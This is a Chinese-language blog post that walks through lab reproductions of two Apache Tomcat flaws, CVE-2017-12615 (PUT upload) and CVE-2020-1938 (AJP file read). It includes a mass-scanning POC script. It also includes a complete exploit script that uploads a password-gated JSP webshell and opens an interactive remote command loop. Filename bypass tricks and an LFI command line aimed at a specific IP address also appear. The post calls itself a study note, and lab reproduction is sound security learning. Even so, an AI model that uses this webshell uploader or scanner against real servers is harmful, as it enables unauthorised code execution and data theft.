首页 > 其他分享 >Tomcat--文件上传--文件包含--(CVE-2017-12615)&&(CVE-2020-1938)

Tomcat--文件上传--文件包含--(CVE-2017-12615)&&(CVE-2020-1938)

时间:2023-09-24 17:46:08浏览次数:54  
标签:文件 Tomcat -- url print 2017 CVE options

Tomcat--文件上传--文件包含--(CVE-2017-12615)&&(CVE-2020-1938)

复现环境

采用Vulfocus靶场环境进行复现,搭建操作和文章参考具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败

CVE-2017-12615 文件上传

漏洞简介

当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。

影响范围

Apache Tomcat 7.0.0 - 7.0.79

漏洞复现

环境启动后,抓包将GET方法改为PUT方法,将木马文件内容放在PUT最后
在这里插入图片描述

木马文件使用哥斯拉冰蝎等webshell管理工具生成,将文件内容填入即可。使用工具连接

方法二(适用于Windows系统)

添加文件名2.jsp%20,添加shell脚本

方法三(适用于Windows系统)

添加文件名3.jsp::$DATA,添加shell脚本

POC

使用方法

python3 CVE-2017-12615 POC.py -u http://xxxx -p端口
#CVE-2017-12615 POC
__author__ = '纸机'
import requests
import optparse
import os

parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')

options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

filename = '/hello.jsp'

#测试数据
data = 'hello'

#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)

#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
  try:
    response = requests.put(url+filename+'/',data=data)
    return 1
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
def checking(url):
  try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
      print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
  except Exception as e:
                #print(e)
    print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n', '').replace('\r', '').strip()
      if upload(url) == 1:
        checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
else:
  #上传链接
  url = options.URL+':'+options.PORT
  if upload(url) == 1:
    checking(url)

EXP

使用方法

python3 CVE-2017-12615 EXP.py -u http://xxxx-p 端口
#CVE-2017-12615 EXP
__author__ = '纸机'
import requests
import optparse
import time


parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

options,args = parse.parse_args()
#验证参数是否完整
if not options.URL or not options.PORT:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='

headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木马
data = '''<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }

%>'''
#上传木马文件
def upload(url):
  print('[*] 目标地址:'+url)
  try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
      #print('[*] 目标地址:'+url)
      print('[+] 木马上传成功')
  except Exception as e:
    print('[-] 上传失败')
    return 0

#命令执行
def attack(url,cmd):
  try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
      print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

  except Exception as e:
    print('[-] 命令执行错误')
if upload(url) == 0:
        exit()
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):
  cmd = input('>>>')
  if(cmd == 'quit'):
    break
  attack(url,cmd)



CVE-2020-1938 文件包含

漏洞简介

Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行

影响范围

Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31

漏洞复现

只要使用了tomcat中间件,并使用了AJP协议(默认端口8009),符合漏洞版本就可以尝试复现。

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.98.193.176 -p 35839 -f WEB-INF/web.xml

-f参数选择要包含的文件

以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。

标签:文件,Tomcat,--,url,print,2017,CVE,options
From: https://www.cnblogs.com/Pengj/p/17726297.html

相关文章

  • Git
    目录Git安装初始化配置创建版本库添加文件提交文件时光穿梭版本回退工作区与版本库管理修改撤销修改删除文件远程仓库添加远程库从远程库克隆分支管理解决冲突分支管理策略Bug分支Feature分支多人协作Rebase标签管理创建标签操作标签自定义Git忽略特殊文件配置别名搭建Git服务......
  • 《Java核心技术卷Ⅰ》
    《Java核心技术卷Ⅰ》阅读笔记,更新中——第一章Java程序设计概述1.1Java白皮书1)简单性2)面向对象3)分布式4)健壮性5)安全性6)体系结构中立7)可移植性8)解释性9)高性能10)多线程11)动态性1.1.1简单性Java可以说是C++的一个纯净版本。Java没有头文件、指针运算、结构、联......
  • golang 使用redis设置分布式锁 demo
    内容来自对chatgpt的咨询分布式锁是在多个节点上运行的应用程序中协调工作的一种常用方法,而Redis是实现分布式锁的流行选择。以下是使用Go语言和github.com/go-redis/redis库来设置Redis分布式锁的一个简单示例:首先,确保你已经安装了该库:goget-ugithub.com/go-redis/redi......
  • 异步任务与定时任务
     1.异步任务使用(1)创建线程池配置@Configuration@EnableAsync//开启多线程publicclassThreadPoolConfig{@Bean("taskExecutor")publicExecutorasyncServiceExecutor(){ThreadPoolTaskExecutorexecutor=newThreadPoolTaskExecutor();......
  • 锐捷路由直接通过NAT访问猫棒
    拓扑目的:直接访问192.168.1.10g0/0/1口为华为猫棒,自动配置192.168.1.10为后台g0/0/2口为电脑直连原理因为路由每个口只能分配一个网段,不能与猫棒作为同一网段,所以必须做NAT转换。命令路由为锐捷RSR-30-X(V1.5)g0/0/1口配置Ruijie#conftRuijie(config)#intg......
  • 第十章学习笔记
    第九章学习笔记一、课本知识1.sh脚本包含sh语句的文本文件,命令解释程序sh要执行该语句。2.sh脚本与C程序-sh:(1)sh是一个解释程序,逐行读取sh脚本文件并直接执行这些行。(2)sh脚本中,每个变量都是字符串。(3)sh脚本不需要main函数,第一个可执行语句是程序的入口点。-C程序:(1)C程序......
  • 信息安全系统设计与实现 学习笔记3
    一、总结一下一门程序设计语言有哪些必备的要素和技能?这些要素和技能在shell脚本中是如果呈现出来的?一门程序设计语言的必备要素和技能包括:语法:掌握语言的基本语法,包括变量、数据类型、运算符、流程控制语句、函数、类等。算法和数据结构:能够设计和实现常用的算法和数据结构,如......
  • 知行合一
    何谓知行王阳明谈到的知行合一的知并不是一件事情,一个道理我知道,明白了。比如,我“知道”玩游戏要笑着玩,看书要认真看等等浅显的理解为知识、认知的意思。这里的知仍是行的范畴,并不是真知。那什么是真知呢?阳明说:“知是心之本体,心自然会知:见父自然知孝,见兄自然知弟,见孺子入井自然......
  • 力扣-三数之和
    1.问题给你一个包含n个整数的数组 nums,判断 nums 中是否存在三个元素a,b,c,使得 a+b+c=0?请你找出所有满足条件且不重复的三元组。注意: 答案中不可以包含重复的三元组。示例:给定数组nums=[-1,0,1,2,-1,-4],满足要求的三元组集合为:[[-1,0,1],[-1,-1,......
  • [FAQ] eggjs/egg 自定义 favicon.ico
     从 egg项目配置里找到这一段代码:https://github.com/eggjs/egg/blob/master/config/config.default.js#L205C21-L205C74/***Theoptionof`siteFile`middleware**Youcanmapsomefilesusingthisoptions,itwillresponseimmdiatelywhenmatchi......